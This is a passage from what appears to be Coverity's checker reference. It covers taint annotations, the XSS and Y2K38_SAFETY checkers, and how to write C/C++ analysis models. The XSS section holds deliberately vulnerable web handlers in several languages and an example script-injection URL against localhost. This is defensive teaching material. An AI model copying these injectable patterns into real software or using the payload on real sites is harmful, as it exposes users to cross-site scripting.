bool custom_sanitizе(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, GENERIC);
 return true;
 }
 return false;
}
```

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitize`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitize()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



#### Note

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
```

```
void custom_string_read(char* s, int size, FILE* stream) {...}
```

### 4.356.5. Events

This section describes one or more events produced by the `XPATH_INJECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

### 4.357. XSS

Security Checker

#### 4.357.1. Overview

**Supported Languages:** C#, Go, Java, JavaScript, PHP, Python, Ruby, Visual Basic

XSS reports a defect on code that is vulnerable to a cross-site scripting attack. Such code constructs HTML output using tainted strings (that is, strings that an attacker can control) without adequately

sanitizing (filtering or escaping) them. Allowing such tainted data into HTML output creates a security breach through which one user (the attacker) of the Web application can inject arbitrary JavaScript that another user (the victim) executes from a browser.

Note that the XSS analysis treats all `${param.x}` variables in JSP files as tainted. Prior to version 7.0.3.s2, the analysis suppressed reporting on parameters that were set in a JSP dynamic include (`<jsp:include>` / `<jsp:param>` structure), but this approach caused the checker to miss some real defects. To restore this behavior, use the `--allow-jsp-include-param-blacklist` analysis option.

For more information on the risks and consequences of cross site scripting, see Chapter 6, . For detailed information about the potential security vulnerabilities found by this checker, see Section 6.1.4.2, “Cross-site Scripting (XSS)”.

**Disabled by default:** `xss` is disabled by default for C#, Java, JavaScript, PHP, Python, and Visual Basic. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Enabled by default :** `xss` is enabled by default for Go and Ruby.

**Web application security checker enablement:** To enable `xss` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `xss` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

## 4.357.2. Defect Anatomy

An `xss` defect shows a dataflow path by which untrusted (tainted) data can be used to inject JavaScript code. The path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. In the absence of proper validations, the data might contain JavaScript code from an attacker that is used in a function that uses the data as HTML output that will be rendered on a user's browser.

## 4.357.3. Examples

This section provides one or more `xss` examples.

### 4.357.3.1. C#, Java, and Visual Basic

For C#, Java, and Visual Basic examples, see Section 6.1.4.2, “Cross-site Scripting (XSS)” and Section 6.6.2, “XSS remediation examples”.

### 4.357.3.2. Go

The following Go code uses a string value from a user request to create an HTTP response and is therefore vulnerable to an XSS attack. A `xss` defect is returned for the `w.Write` call.

```
package main

import (
 "net/http"
)

func test(w http.ResponseWriter, r *http.Request) {
 queryValues := r.URL.Query()
 w.Write([]byte(queryValues.Get("name"))) // XSS defect
}
```

### 4.357.3.3. JavaScript

The following code example shows a vulnerable Node.js Web application using the Express framework.

```
var express = require('express');
var app = express();

app.get('/', function(req, res, next) {
 const name = req.query.n;
 res.send("<!DOCTYPE html> <html><head><title>Say Hello</title></head>" +
 "<body>Hello, " +
 name +
 "</body></html>");
});

app.listen(3000, function() {
 console.log("Listening...");
});
```

Example exploit:

```
http://127.0.0.1:3000/?n=%3Cscript%3Ealert%28%29%3C/script%3E;
```

### 4.357.3.4. PHP

The following PHP code uses strings from the request URL to create HTML and is therefore vulnerable to an XSS attack.

```
$name = $_GET['name'];
echo "<p>hello, $name</p>";
```

### 4.357.3.5. Python

The following Python code (which uses Flask) uses strings from the request URL to create HTML and is thus vulnerable to a reflected XSS attack.

```
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/findfile/<path:filename>')
def findfile(filename):
```

```
return make_response('<html>File is ' + filename + '</html>')
```

#### 4.357.3.6. Ruby

The following example demonstrates a query parameter marked as "HTML safe" then output in an ERB template. Because the value is marked as "HTML safe", HTML entities will not be escaped and it is therefore vulnerable to an XSS attack.

```
<%= params[:query].html_safe %>
```

#### 4.357.4. Options

This section describes one or more `XSS` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `XSS:distrust_all:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `XSS:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `XSS:trust_mobile_other_app:<boolean>` - [Java only] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `XSS:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `XSS:trust_mobile_same_app:<boolean>` - [Java only] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `XSS:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `XSS:trust_mobile_user_input:<boolean>` - [Java only] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `XSS:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.
- `XSS:trust_mobile_other_privileged_app:<boolean>` - [Java only] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `XSS:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `XSS:trust_command_line:<boolean>` - [All languages] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to

`XSS:trust_command_line:true` . Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.

- `XSS:trust_console:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from the console as tainted. Defaults to `XSS:trust_console:true` . Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `XSS:trust_cookie:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `XSS:trust_cookie:false` . Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `XSS:trust_database:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from a database as tainted. Defaults to `XSS:trust_database:true` . Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `XSS:trust_environment:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from environment variables as tainted. Defaults to `XSS:trust_environment:true` . Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `XSS:trust_filesystem:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `XSS:trust_filesystem:true` . Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `XSS:trust_http:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `XSS:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `XSS:trust_http_header:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `XSS:trust_http_header:true` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `XSS:trust_network:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from the network as tainted. Defaults to `XSS:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `XSS:trust_rpc:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `XSS:trust_rpc:true` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `XSS:trust_system_properties:<boolean>` - [All languages] Setting this Web application security option to false causes the analysis to treat data from system properties as tainted. Defaults to

`XSS:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

See the corresponding command line options [↗](#) to **cov-analyze** in the *Coverity Command Reference*.

## 4.357.5. Models and Annotations

### 4.357.5.1. C#, Java, and Visual Basic

Models and annotations can improve analysis with this checker in the following cases:

- If the analysis misses defects because it does not treat certain data as tainted, see discussion of the `Tainted` annotation (refer to Section 5.2.2.1, “`and` Attributes” for C# and Visual Basic, or `@Tainted` and `@NotTainted` Annotations for Java).

Also, for instructions on marking method return values, parameters, and fields as tainted, see Section 5.2.1.2, “Modeling Sources of Untrusted (Tainted) Data” for C# and Visual Basic, or Section 5.4.1.3, “Modeling Sources of Untrusted (Tainted) Data” for Java.

- If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, refer to `[NotTainted]` / `<NotTainted(>` Attributes for C# and Visual Basic, or `for` for Java.

See also Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”. For further information on models and annotations in general, refer to Section 5.2, “Models and Annotations in C# or Visual Basic” or Section 5.4, “Models and Annotations in Java”.

### 4.357.5.2. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_script_function(data interface{}) {
 XssSink(data);
}
```

The `xssSink()` primitive instructs XSS to report a defect if the argument to `injecting_into_script_function()` is from an untrusted source.

## 4.357.6. Symbolic Names

In the UI, XSS reports (CIDs) on C#, Java, and Visual Basic defects use symbolic names for HTML contexts and escaper kinds, for example:

```
At (2):
```

```

Passing the tainted data through
Escapers.escapeAttrdq(java.lang.String), which was recognized
as an escaper of kind HTML_ENTITY.
At (3):
Passing the tainted data through
Escapers.escapeJssq(java.lang.String), which was recognized
as an escaper of kind JS_STRING.
CID 18484: Other violation (XSS)
At (4):
Printing "Escapers.escapeJssq(Escapers.escapeAttrdq(tainted))"
to an HTML page allows cross-site scripting, because it was not
properly sanitized for the nested contexts
HTML_ATTR_VAL_DQ,
JS_STRING_SQ.

```

Table 4.7, “HTML Contexts” defines the symbolic names of HTML contexts that can appear in a defect report. For examples of these HTML contexts and a discussion of how to properly escape each one, see Section 6.4, “XSS Contexts”.

**Table 4.7. HTML Contexts**

HTML Context	Description
HTML_ATTR_NAME	HTML attribute name
HTML_ATTR_VAL_DQ	HTML double quoted attribute
HTML_ATTR_VAL_SQ	HTML single quoted attribute
HTML_ATTR_VAL_UNQ	HTML not quoted attribute
HTML_CDATA	HTML CDATA block
HTML_COMMENT	HTML comment
HTML_PCDATA	HTML PCDATA block
HTML_PLAINTEXT	HTML plain text block
HTML_RAWTEXT	HTML raw text block
HTML_RCDATA	HTML RCDATA block
HTML_SCRIPT_DATA	HTML script block
JS	JavaScript code
JS_BLOCK_COMMENT	JavaScript multi line comment
JS_LINE_COMMENT	JavaScript single line comment
JS_REGEX_LITERAL	JavaScript regular expression
JS_STRING_DQ	JavaScript double quoted string
JS_STRING_SQ	JavaScript single quoted string
CSS	Cascading Style Sheets
CSS_COMMENT	CSS comment
CSS_STRING_DQ	CSS double quoted string

HTML Context	Description
CSS_STRING_SQ	CSS single quoted string
CSS_URI_DQ	CSS double quoted URI
CSS_URI_SQ	CSS single quoted URI
CSS_URI_UNQ	CSS not quoted URI
HTML_TAG_NAME	HTML tag name

Table 4.8, “Escaper Kinds” defines the symbolic names escaper kinds and identifies the contexts to which they apply.

**Table 4.8. Escaper Kinds**

Escaper Kind	Description	Applies To
HTML_ENTITY	Ampersand-based escaping using HTML entities.	HTML_PCDATA, HTML_RCDATA, HTML_ATTR_VAL_*
JS_STRING	Backslash-based escaping for JavaScript strings.	JS_STRING_*
CSS	Backslash-based escaping for CSS.	CSS_STRING_*, CSS_URI_*
URI_PERCENT	Percent sign-based escaping for Uniform Resource Identifiers.	The portion of URIs and URLs before the question mark ( ? ).
URI_QUERY	Like URI_PERCENT, except spaces are encoded with plus signs ( + ).	The portion of URIs and URLs after the question mark ( ? ).

## 4.358. Y2K38\_SAFETY

Quality Checker

### 4.358.1. Overview

**Supported Languages:** C/C++

The `Y2K38_SAFETY` checker is intended to point out two potential issues with the rollover of the 32-bit signed integer counter of seconds since epoch in the UNIX `time_t` type. Software that deals with dates, and which uses `time_t` to represent those dates, is susceptible to data corruption due to this rollover. Such corruption begins not on the day the counter rolls over, but when the software in question first attempts to represent a future time that lies beyond that rollover date and time.

The two defect types reported are:

- A `time_t` value is stored in an (32-bit) integer variable, rather than in another `time_t` or a 64-bit width integer. This includes passing a `time_t` variable as a parameter to a function that takes an 32-bit

integer argument, with an exception made when the checker can determine that this is being used to seed a random number generator, in which case the loss of bits is not important.

- A declaration involving a `time_t` typedef is made when that typedef is less than 64 bits wide. Note that if a program makes use only of `struct timeval`, the definition of that struct in terms of `time_t` ensures that defects will still be reported.

.</para>

The `Y2K38_SAFETY` checker is not enabled by default, it requires explicit enablement. It is enabled with `-en Y2K38_SAFETY`.

## 4.358.2. Examples

This section provides one or more `Y2K38_SAFETY` checker examples.

### 4.358.2.1. Bad Storage

When `time_t` was a 32-bit signed integer, you could store such values in an integer variable for later use. With `time_t` becoming 64-bits, such assignments are dangerous.

```
int starttime = time(NULL); //defect#Y2K38_SAFETY
do_long_work();
int endtime = time(NULL); //defect#Y2K38_SAFETY
printf("Time elapsed = %d seconds\n", endtime - starttime);
```

The above example is safe, if somewhat sloppy, when `time_t` is 32-bits, but is wrong when `time_t` becomes 64-bits.

### 4.358.2.2. Bad Type Size

When `time_t` is defined to be a 32-bit integer, the checker will flag defects whenever a variable of that type declared.

```
typedef signed int time_t;
void foo() {
 time_t mytime = 0; //defect#Y2K38_SAFETY
}
```

In this case, the defect message will include text to indicate that the problem is that `time_t` itself is too small for safety.

---

# Chapter 5. Models, Annotations, and Primitives

## Table of Contents

5.1. Models and Annotations in C/C++ .....	839
5.2. Models and Annotations in C# or Visual Basic .....	874
5.3. Models in Go .....	892
5.4. Models and Annotations in Java .....	899
5.5. Models in Swift .....	907
5.6. Model Search Order .....	907

You can modify checker behavior in a number of ways:

- Options:

Some **cov-analyze** options affect the behavior of multiple checkers (see *Coverity Command Reference* [↗](#) ).

Many checkers have options that you can enable with `--checker-option` (or `-co` ).

- Models:

Models are a summary of important aspects of function properties. Coverity Analysis analyzes each function and generates a model of its behavior for interprocedural analysis purposes. These models are created with the **cov-analyze** command and stored in the intermediate directory.

It is also possible to write models by hand to override these and better describe the behavior of a function. Such models can be useful both for finding more bugs and eliminating false positives.

- Annotations:

You can affect checker behavior by annotating your source code with markers we refer to as *analysis annotations*.

Coverity uses *annotation* to refer to the analysis annotations you can add to a source file, regardless of the term (if any) that is native to the source language. These are the specific syntaxes in use:

### C/C++

In C or C++ source, an analysis annotation is a comment with special formatting.

### C# or Visual Basic

In C# or Visual Basic source, an analysis annotation uses the native C# or Visual Basic *attribute* syntax.

### Java

In Java source, an analysis annotation uses the native Java *annotation* syntax.

**Caution**

Each language has its own analysis annotation syntax and set of capabilities, and these are *not the same* as the syntax or capabilities available to the other languages that can use annotations.

- Web application security configuration File:

A file containing user directives that can modify the behavior of Web application security checkers. These directives are described in the *Security Directive Reference*.

See the sections that follow for more information about models and annotations.

## 5.1. Models and Annotations in C/C++

The analysis engine derives models for each function analyzed that summarize the effects of the function for use in interprocedural defect checking. Sometimes not all of the source code for all called functions can be analyzed. For example, library functions are typically linked in without access to the source code. The standard C library, the UNIX system-call API, and the Windows API are examples of interfaces that many programs link against without access to the source code.

When the analysis runs, models for each function are generated and stored in the intermediate directory.

In most cases, the models generated by the analysis engine accurately reflect a system's behavior and the checkers work well without any user intervention. However, there are some cases where you might want to improve a checker's performance by providing more information about interfaces and functions. One example is when interfaces that are perhaps critical to the system's behavior are linked in from code that is not compiled and analyzed. In that case, you must specify the behavior of those interfaces. Another example is when false positives occur because of incorrect derivations.

Adding models to the Coverity Analysis system has two benefits: finding more bugs, and eliminating false positives. For example, if a new memory-allocation interface that is linked against your application from a third-party API is modeled in the system, Coverity Analysis can detect and report defects in the uses of that allocator. As another example, if your application uses an `abort`-like function that relies on an assembler routine to exit the application, the system might be incapable of determining that calls to this function cannot return. In this case, false positives occur because of the imperfect understanding of the code.

Sometimes the Coverity Analysis models diverge from the actual behavior of the function because of the complexity of the modeled function. Although improvements to the analysis framework continue to decrease the need for overriding the automatically computed models, there is a limit to the precision of compile-time analysis. Thus, for some cases you can improve the analysis accuracy by classifying the behavior of a given function.

**Warning**

Later versions of Coverity will not be able to run models you have created with previous versions. For this reason, you *must* preserve the source files for the models you write yourself and you must store the files in your source repository. When you upgrade Coverity, you will need to run the command **cov-make-library** and regenerate the model files using the sources you have saved.

### 5.1.1. Writing a Model: Finding New Defects

The following examples show how to add configurations to find new defects and remove false positives. Suppose that you want to add a new memory deallocator to the Coverity Analysis configuration that is similar to the standard C library function `free`. In Coverity Analysis terminology, adding a new function to the configuration is called adding a model.

#### To add a new C model:

1. In the `<install_dir_sa>/library` directory, create a new file called `my_free.c`.
2. In this file, create a stub C function that uses the standard C library function `free` to emulate the behavior of the new deallocation function:

```
void free(void*);

void my_free(void* x) {
 free(x);
}
```

3. Convert this model from its C code form into the XML form that the analysis engine understands with the **cov-make-library** command:

```
> cov-make-library my_free.c
```

The **cov-make-library** command creates a file called `user_models.xmlldb` in the `<install_dir_sa>/config` directory. This file contains the XML form of the model, which indicates that `my_free` will deallocate its only argument. You can change the directories for temporary storage and for the generated configuration file when you run the **cov-make-library** command. If you change these directories, you must also specify the location of these files when you run the analysis so that the analysis engine can find the new configuration files.

#### To add a new C++ model:

1. In the `<install_dir_sa>/library` directory, create a new file called `MyClass.cpp`.
2. In the `MyClass.cpp` file, create a member function `myAllocatorMethod`:

```
class MyClass {
public:
 void *myAllocatorMethod(size_t size) {
 return __coverity_alloc__(size);
 }
};
```

It is possible to create a function model for certain member functions; you do not have to create a model that includes all member functions. Member functions without explicit models will produce derived models if the source code is available.

3. Convert this model from its C++ code form into the XML form that the analysis engine understands with the **cov-make-library** command:

```
> cov-make-library MyClass.cpp
```



### Recommendation

Put the generated models in the same location as the file `coverity_config.xml` so that you only need to specify one configuration path (the path to `coverity_config.xml`) when you run the **cov-analyze** command.

## 5.1.2. Writing a Model: Removing False Positives

Consider a more complex case where the C library function `free` is overridden in the system such that it uses a special allocation scheme and the semantics of `free` are changed. You decide that you no longer want a call to `free` to actually cause a deallocation. Instead, you want the function `free` to have no influence on the analysis. To do so, update the `my_free.c` file:

```
void my_free(void* x) {
 __coverity_free__(x);
}

void free(void* x) {
 // Do nothing.
}
```

We have made two alterations to the file. First, we implemented a function called `free` that does nothing. User models always override any configuration shipped by Coverity and any models that are automatically generated by the interprocedural analysis. Thus, adding this function suppresses the default behavior of `free` and all associated use-after-free defects.

Also, the definition of `my_free` has changed. Originally, the implementation depended on the implementation of `free`. Because we are going to remove that behavior for `free`, we must use the primitive function `__coverity_free__` in our implementation of `my_free`. The primitive functions implement a single state transition or action within the analysis and are, thus, independent of any other models. The list of primitive functions represents the scope of behaviors that an analysis can understand. This particular primitive indicates that the first argument, `x`, cannot be dereferenced after this function call.

The models for these functions are generated using the same call to **cov-make-library** described previously.

## 5.1.3. Analyzing Models of Virtual Functions

When you make a call to a virtual or pure virtual function that you have modeled, the analysis will always use that model. As a consequence, you do not need to set the `--enable-virtual` option to **cov-analyze** for this purpose. In the following example, you can see how `a->color()` makes the analysis resolve to the model.

```

/* Abstract base class Fruit */
class Fruit {
 virtual int color() = 0;
};

/* Derived class Lemon */
class Lemon: public Fruit {
 int color();
};

/* Derived class Apple */
class Apple: public Fruit {
 int color();
}

/* In a model file, a model based on derived class Apple. */
class Apple {
 int color() { what_color_should_do();}
};

/* Testing the analysis with and without setting --enable-virtual. */
void test(Fruit *f, Apple *a) {
 // Without --enable-virtual set:
 // Call to f->color() is unimplemented.
 // With --enable-virtual set:
 // Call to f->color() resolves to the model and to Lemon::color.
 f->color();

 // Call to a->color() always resolves to the model
 // regardless of whether you set --enable-virtual.
 a->color();
}

```

For more information about the `--enable-virtual` option, see the **cov-analyze** documentation in the *Coverity Command Reference* [🔗](#).

#### 5.1.4. Modeling Function Pointers

You enable analysis of calls to function pointers using the `--enable-fnptr` option to the **cov-analyze** command. This option increases the false positive rate by approximately 10-20%. Although the `--enable-fnptr` option analyzes most calls to function pointers, in some cases calls to function pointers may not be analyzed for defects. The flow of functions through casts, for example, is not tracked by the analysis. For these function calls, you can use explicit function pointer models to find more defects.

##### Modeling function pointers

To model function pointers:

1. Create a model with the following naming convention. If the function pointer is a global variable:

```
__coverity_fnptr_<variable>
```

If the function pointer is a field in a structure:

```
__coverity_fnptr_<type>_<field>
```

For example, the following pointer functions have the model names that are noted in the comments:

```
struct aStruct {
 void (*ABC)(int);
 void (*ZYX)(int);
};
int (*INT)(void);
struct aStruct glStruct;

void testfn(struct aStruct *s) {
 int x;
 x = INT(); // call to __coverity_fnptr_INT
 glStruct.ABC(x); // call to __coverity_fnptr_aStruct_ABC
 s->ZYX(x); // call to __coverity_fnptr_aStruct_ZYX
}
```

2. In this model, use a primitive to specify the behavior of the function pointer. For example, the following C code has two function pointers:

```
struct memory {
 void *(*get)(size_t);
 void (*put)(void *);
};
void test(struct memory *m, int l, int x) {
 int *p;

 p = m->get(l);
 if (!x)
 return; // resource leak of p
 m->put(p);
 m->put(p); // double free of p
}
```

By default, the analysis does not find the two defects. However, with the following models, both defects are reported:

```
void *__coverity_fnptr_memory_get(int l) {
 return __coverity_alloc__(l);
}
void __coverity_fnptr_memory_put(void *p) {
 __coverity_free__(p);
}
```

3. Run the **cov-make-library** command.
4. Run the **cov-analyze** command with the `--fnptr-models` option.

### 5.1.5. Models for Templates

You can write models for templates: this includes template functions and member functions for template classes.

To model a template, you write it as a nontemplate within a namespace called `__coverity_template__`. The model must have the same number of parameters as the template; but the types do not need to be the same, in particular because it would be impossible to reference the template parameter in these types. As a result, it's only possible to model a single template function overload for a given number of parameters.

For example, given this template:

```
template <typename T> class MyClass {
 T *alloc(); // returns allocated memory
};
```

You would need to write something like the following to create a model for it:

```
namespace __coverity_template__
{
class MyClass {
 void *alloc() { return __coverity_alloc_nosize__(); }
};
}
```

Note that it is still possible to write models for specific instantiations (overloaded or not) by instantiating a template in a model file: For example,

```
template <typename T> class MyClass {
 T *alloc() { return 0; }
};
// Explicitly instantiate for "int"
template class MyClass<int>;
```

These specific instantiations have priority over the `__coverity_template__`.

### 5.1.6. Primitives for custom models

The `<install_dir_sa>/library` directory contains the source for the models shipped with Coverity Analysis. You can alter these models and re-compile them with the **cov-make-library** command. To add new models, create a file with stub functions representing the behavior of the functions you wish to add.

 **Note**

Do not use the files in the `<install_dir_sa>/library` directory as arguments to the **cov-make-library** command. Instead, create your own files for models. Using the existing files creates duplicate user models and Coverity default models.

You can build a model using either Coverity primitives or from existing library functions (for example: `malloc`, `calloc`, and `fopen`). The following sections list the primitives you can use in your custom models, along with their meanings and example usages. You can find the files referenced as examples in `<install_dir_sa>/library/generic/common/`.

### 5.1.6.1. Generic primitives

#### 5.1.6.1.1. `__coverity_alloc__`

Models a function that returns a dynamically allocated block of memory. The function's only argument determines its size. The `RESOURCE_LEAK` checker uses this primitive to identify which pointers refer to memory that must be freed. `SIZE_CHECK` and `OVERRUN` use it to determine if the allocated size is correct.

For an example, see the function `malloc` in the file `<install_dir>/library/generic/libc/all/all.c`.

#### 5.1.6.1.2. `__coverity_alloc_nosize__`

Models a function that returns a dynamically allocated block of memory without size information. Used when you are looking for `RESOURCE_LEAK` errors but are not interested in buffer overruns.

For an example, see the function `fopen` in the file `file.c`.

#### 5.1.6.1.3. `__coverity_close__`

Closes a handle. Used to model file handle allocation for the `RESOURCE_LEAK` and `USE_AFTER_FREE` checkers.

#### 5.1.6.1.4. `__coverity_delete__`

Models a call to `operator delete`. In addition to memory deallocation semantics, this will cause an error if `__coverity_new_array__` allocated this memory. The `DELETE_ARRAY` checker uses this primitive.

#### 5.1.6.1.5. `__coverity_delete_array__`

Models a call to `operator delete[]`. In addition to memory deallocation semantics, this will cause an error if `__coverity_new__` allocated this memory. The `DELETE_ARRAY` checker uses this primitive.

#### 5.1.6.1.6. `__coverity_escape__`

Models a function that saves its argument (for example, in a global variable) so it can be freed later. The analysis will not report a resource leak on such an argument once it escapes.

#### 5.1.6.1.7. `__coverity_free__`

Frees its argument. Indicates to the `USE_AFTER_FREE` and `RESOURCE_LEAK` checkers that a pointer is freed. For an example, see the function `free` in `<install_dir>/library/generic/libc/all/all.c`.

**5.1.6.1.8. `__coverity_negative_sink__`**

Models a function that cannot take a negative number as an argument. Used in conjunction with other models to indicate that negative arguments are invalid. For example, see the `size` argument in `<install_dir>/library/generic/libc/all/all.c`.

**5.1.6.1.9. `__coverity_new__`**

Models a call to operator `new`. In addition to memory allocation semantics, this will cause an error if `__coverity_delete_array__` later frees this memory. The DELETE\_ARRAY checker uses this primitive.

**5.1.6.1.10. `__coverity_new_array__`**

Models a call to operator `new[]`. In addition to memory allocation semantics, this will cause an error if `__coverity_delete__` later frees this memory. The DELETE\_ARRAY checker uses this primitive.

**5.1.6.1.11. `__coverity_open__`**

Creates a handle that needs to be closed. Used to model file handle allocation for the RESOURCE\_LEAK and USE\_AFTER\_FREE checkers.

**5.1.6.1.12. `__coverity_panic__`**

Models a function that ends the execution of the current path.

For an example, see the function `abort` in the file `killpath.c`.

**5.1.6.1.13. `__coverity_read_buffer_bytes__ (const void *buf, unsigned size);`**

Indicates that a buffer is read up to a given size in bytes. Mainly affects the OVERRUN, ARRAY\_VS\_SINGLETON, and UNINIT checkers.

**5.1.6.1.14. `__coverity_read_buffer_elements__ (const void *buf, unsigned size);`**

Indicates that a buffer is read up to a given size specified in elements. The element type is determined by the type of the expression before the cast to `void *`. Mainly affects the OVERRUN, ARRAY\_VS\_SINGLETON, and UNINIT checkers.

**5.1.6.1.15. `__coverity_stack_alloc__`**

Indicates stack-based allocation, as in `alloca`. For use with the OVERRUN checker.

**5.1.6.1.16. `__coverity_stack_depth__ (max_memory)`**

Indicates to the STACK\_USE checker that the function and its callees should not use more memory (in bytes) than specified by the constant integer `max_memory`. This feature is useful for situations where threads are created with different stack sizes. The primitive should be used in the thread entry-point function.

**Note**

Note that this primitive is called from your source code, not from model source.

You need to declare this primitive in your code at the top of the tree for which you intend to specify a limit. For example, you might add the following to a `coverity.h` header file:

```
#ifndef __COVERITY__
#ifdef __cplusplus
extern "C"
#endif
void __coverity_stack_depth__(unsigned long);
#else
#define __coverity_stack_depth__(x) 0
#endif
```

Then you can include the declaration in a file that contains the thread entry function, for example, `threadentry.c`:

```
#include "coverity.h"

// ...

void thread_entry() {
 // You need to add this to your source code. It can appear anywhere
 // in the function. Only one such call is allowed per function.
 __coverity_stack_depth__(MAX_THREAD_STACK_BYTES);

 // Implement thread entry
}
```

**5.1.6.1.17. `__coverity_use_handle__`**

Indicates the invalid use of a handle if the handle has been previously closed. Used to model file handle allocation for the `RESOURCE_LEAK` and `USE_AFTER_FREE` checkers.

**5.1.6.1.18. `__coverity_write_buffer_bytes__ (void *buf, unsigned size);`**

Indicates that a buffer is written to up to a given size in bytes. Mainly affects the `OVERRUN`, `ARRAY_VS_SINGLETON`, and `UNINIT` checkers.

**5.1.6.1.19. `__coverity_write_buffer_elements__ (void *buf, unsigned size);`**

Indicates that a buffer is written up to a given size. The element type is determined by the type of the expression before the cast to `void *`. Mainly affects the `OVERRUN`, `ARRAY_VS_SINGLETON`, and `UNINIT` checkers.

**5.1.6.1.20. `__coverity_writeall__`**

Indicates that all contents of a variable are overwritten. This includes all fields if the variable is a structure, or simply the variable's value if it is not.

For an example, see the function `memcpy` in the `mem.c` file.

### 5.1.6.2. Security primitives

